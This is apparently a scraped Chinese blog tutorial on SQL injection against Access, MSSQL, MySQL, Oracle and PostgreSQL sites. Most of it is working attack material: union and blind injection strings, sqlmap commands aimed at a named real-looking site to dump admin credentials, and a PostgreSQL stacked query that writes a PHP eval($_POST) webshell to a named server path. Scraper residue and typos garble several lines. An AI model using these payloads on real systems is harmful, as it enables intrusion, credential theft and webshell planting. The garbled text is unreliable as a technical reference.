Web滲透測試(sql注入 access,mssql,mysql,oracle,)

Access數據庫注入:php

 access數據庫由微軟發佈的關係型數據庫(小型的),安全性差。html

 access數據庫後綴名位*.mdbmysql

 asp中鏈接字符串應用——web

 「Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass」sql

  Dim conn數據庫

  Set conn = server.createobject(「adodb.connection」)apache

  conn.open 「provider=Microsoft.ACE.OLEDB.12.0;」 & 「data source = 」 & server.mappath(「bbs.mdb」)瀏覽器

 

打開此數據庫的工具——緩存

 破障瀏覽器,輔臣瀏覽器安全

 

注入分析——

判斷注入點(判斷有沒有帶入查詢)

,

and 1=1

and 1=2

or 1=1

or 1=2

and 1=23

 

查看是否帶入查詢,若是帶入查詢了,說明有注入漏洞

 

存在注入--判斷數據庫類型——

and exsits (select * from msysobjects) >0(判斷access

and exsits (select * from sysobjects) >0(判斷SQL server

 

 

判斷數據庫表

 and exists (select * from admin)(若是不存在admin表,能夠試試user或者useradmin

 

 

帶入查詢不報錯說明有admin

 

 

and exists (select admin from admin)查詢是否有admin字段

 

and exists (select password from admin)查詢是否有password字段

 

 

判斷字段長度 order by 22

 

 

報錯  and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出adminpassword的字段長度)

 

 

and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(這樣就把用戶名密碼猜解出來了,再去md5解密便可)

 

 

 

示例:sqlmap注入access數據庫

 連接http://www.jnqtly.cn/cp11.asp?id=1129

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129

 

 

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables(爆表)

 

 

 

file表進行猜解

sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables --columns -T file

 

 

對字段進行猜解

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --dump -T file -C "admin,password"

 

而後去解密便可

 

 

———————————————————————————————————————

 

MssqlSQL server)數據庫注入:(中小型企業)

SQL server由微軟公司推出的關係型數據庫,支持對稱多處理器的結構 存儲過程,具備自主的sql語言,支持圖形化管理工具。

SQL server數據庫文件後綴位xxx.mdf,日誌文件後綴爲xxx_log.ldf

基礎語句select * from 表名(查詢)

       sreate database 庫名(建立)

         drop database 庫明(刪除庫)

權限——

  sa權限:數據庫操做,文件管理,命令執行,註冊表讀取等system

  db權限:文件管理,數據庫操做等 users-adminstrators

  public權限:數據庫操做 guest-users

 

調用分析——

  <% set conn =server.crateobiect(「adodb.connection」)

conn.open「provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx」

%>

 

注入語句:

 判斷是否有注入——

and (select Count(*) from [表名])>0(猜解表名)

  and (select Count(字段名) from 表名)>0(猜想字段)

  and (select top 1 len(字段名) from 表名)>0(猜想字段長度)

 

初步判斷是不是mssqlSQL server)——

and user > 0

 

判斷數據庫系統——

and (select count(*) from sysobiects)> 0 mssql

and (select count(*) from msysobiects)> 0 access

 

 

實例:(其實建議手工測試,雖然工具跑得快,可是仍是手工能夠)

 用穿山甲測試

 

 

可直接寫入一句話木馬

 

 

Sa權限可直接提權

 

 

若是命令不生效可先恢復一下spoa換一下類型

 

—————————————————————————————————————————

 

Mysql數據庫注入:(中小型企業)

  瑞典推出的關係型數據庫,如今已經被甲骨文公司收購,搭配php+apache+mysql

 

Mysql函數——

 systm_user() 系統用戶名

 user() 用戶名

 current_use() 鏈接數據庫的用戶名

 database() 數據庫名

 version() MySQL數據庫版本

 load_file() 轉成16進制或者是10進制mysql讀取本地文件的函數

 @@datadir 讀取數據庫路徑

 @@basedir 讀取MySQL安裝路徑

 @@version_comoile_os 判斷操做系統

 

PHP+MySQL連接——

 <?php

$host=’localhost’; 數據庫地址

$database=’sui’; 數據庫名稱

$user=’root’; 數據庫帳戶

$pass=’’; 數據庫密碼

$webml=’/0/’; 安裝文件夾

?>

 

 判斷字段長度——

  order by xx

  order by 21 正常,order by 22不正常,說明長度爲21

  union secect 1-18 from information_schema.tables(報出錯誤)

 

示例:(MySQL5.0以上的版本)

先判斷是否存在注入,and不行試試其餘or之類的,而後判斷字段長度

 

 

爆出錯誤23

 

在報錯位置查詢想要的信息

猜解用戶名

http://xxxx.xx.com/xxxxx/php?id=-5union secect  1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables

 

 

 

猜解數據庫名

http://xxxx.xx.com/xxxxx/php?id=-5 union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables

 

 

猜解表名

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables  where_schema=0x6469616E(把庫名轉換成16進制)

 

 

爆出表名,爆出來後能夠一個一個去嘗試

 

 

 

猜解列名

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名轉換成16進制)

 

 

猜解字段

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一個\16進制)

 

 

爆出管理員帳號密碼

 

 

 

—————————————————————————————————————————

 

 

Oracle數據庫注入:(大型企業,政府,金融,證券)

 Oracle數據庫由美國甲骨文公司推出的,以分佈式數據庫爲核心,是目前世界上使用最廣範的數據庫管理系統,支持多用戶,事物的處理,移植性強。

 

Oracle數據庫代碼分析——

    id = request.getParameter(「id」);

String strSQL = 「select title,content from news where id=」 + id;

ResultSet rs = strt.executeQuery(strSQL);

while(rs.next())

{

String title = rs.getString(「time」);

String content = rs.getString(「conntent」);

Out.print(「<tr><td>」+ title +」<td><tr><tr><td><br/>」 + content + 「</td></tr>」);

}

 

 

 

示例:

猜解表名,存在則不報錯and (select count(*) from admin)<>0

 

 

猜解user列名,存在則不報錯and (select count(user) from admin)<>0

 

 

猜解pwd列名,存在則不報錯and (select count(pwd) from admin)<>0

 

 

判斷長度and (select count(*) from admin where length(name)>=5)=1length()函數用於字符串長度,此處猜想用戶名長度和5比較,意思就是猜想是否由5個字符組成)

 

 

猜解第一個位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1substr()函數用於截取字符串,ascii()函數用於獲取字符的ascii碼,此處的意思是截取name字段的第一個字符,獲取它的ascii碼值,查詢ascii碼錶可知97爲字符a

 

猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重複以上操做,去配對ascii碼錶,能夠判斷帳號爲admin

 

 

相同方式猜解密碼;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密碼長度爲8

 

 

 

 猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符爲a

 

 

 猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符爲a(重複以上操做,去配對ascii碼錶,能夠判斷帳號爲admin888

 

 

 

 ascii

 

 

測試登錄

 

———————————————————————————————————————

 

Postgresql注入:(國內用的比較少

 
 

示例:

http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(version() as int)(獲取數據庫版本信息,系統信息)

 

 

http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(user||123 as int)(獲取當前用戶名稱,Postgres用戶至關於root用戶權限)

 

 

 http://www.xxx.jp/xxx/xx/php?id=307 ;create table xxx(w text not null);(建立表x

 

 

插馬——

  http://www.xxx.jp/xxx/xx/php?id=307;insert into xxx values($$<?php @eval($_POST[xxxxx]);?>$$);(向x表中插入一句話木馬)

 

 

寫文件——

  http://www.xxx.jp/xxx/xx/php?id=307;copy xxx(w) to$$/home/kasugai_tochi/public_html/script/xxx.php$$;(將一句話木馬保存爲xxx.php文件,執行後用菜刀連接,而後上傳webshll

 

 ——————————————————————————————————————————————————

 

提交方式注入:

 Get——

  get注入比較常見,如www.xxx.com/xx.asp?id=1

 

 Post——

  post提交方式主要適用於表單的提交,用於登陸框的注入,如www.xxx.com/admin.php

 

 判斷方式——

  在登錄框鍵入 ‘or’=1  

示例:(穿山甲跑)

加載表單

 

 

把後臺地粘貼上,開始跑

 

 

加載表單

 

 

它會默認把表單提交到根路勁,須要把它改爲登錄路勁

 

 

 

Sqlmap跑——

示例:

加上根目錄路徑,而後在往下操做

sqlmap -u http://www.xxxx.com/login.asp --data 「xxxxxxx=1」 --dbs

sqlmap -u http://www.xxxx.com/login.asp --data 「xxxxxxx=1」 --tables -D 「列名

sqlmap -u http://www.xxxx.com/login.asp --data 「xxxxxxx=1」 --columns -T 「表名」 -D 「列名

sqlmap -u http://www.xxxx.com/login.asp --data 「xxxxxxx=1」 --dump  -C 「user,pass」 -T 「表名」 -D 「列名

 

Cookie——

cookie提交用於帳號密碼的cookie緩存,還能夠經過cookie注入來突破簡單的防注入系統

 示例:

 

 

 

———————————————————————————————————————

 

搜索框注入:

 使用的工具——burpsuitesqlmap

 思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件裏,而後用sqlmap

 

 示例:sqlmap -r xx.txt --tables(猜表名)

       sqlmap -r xx.txt --columns -T 「admin」(猜列名)

       sqlmap -r xx.txt --C 「admin,password」 -T 「manager」 --dump -v 2(列內容)

 

找到搜索框

 

 抓包

 

再跑sqlmap

 

————————————————————————————————————————————————

 

僞靜態注入:

  網站管理員耍小聰明,看着是靜態頁面,實際上是動態頁面

  http://www.xxx.com/xxxx/xxx/xxx.html

 

判斷——

 http://www.xxx.com/index.php 返回正常說明是php寫的  (index.aspindex.jsp)

 

示例——

http://www.xxxx.cn/xxx_99,html(把僞靜態連接構形成動態腳本語言)

http://www.xxxx.cn/xx.php?id=99 asp?id=   jsp?id=  aspx?id=  不報錯說明就是此語言)

相關文章
相關標籤/搜索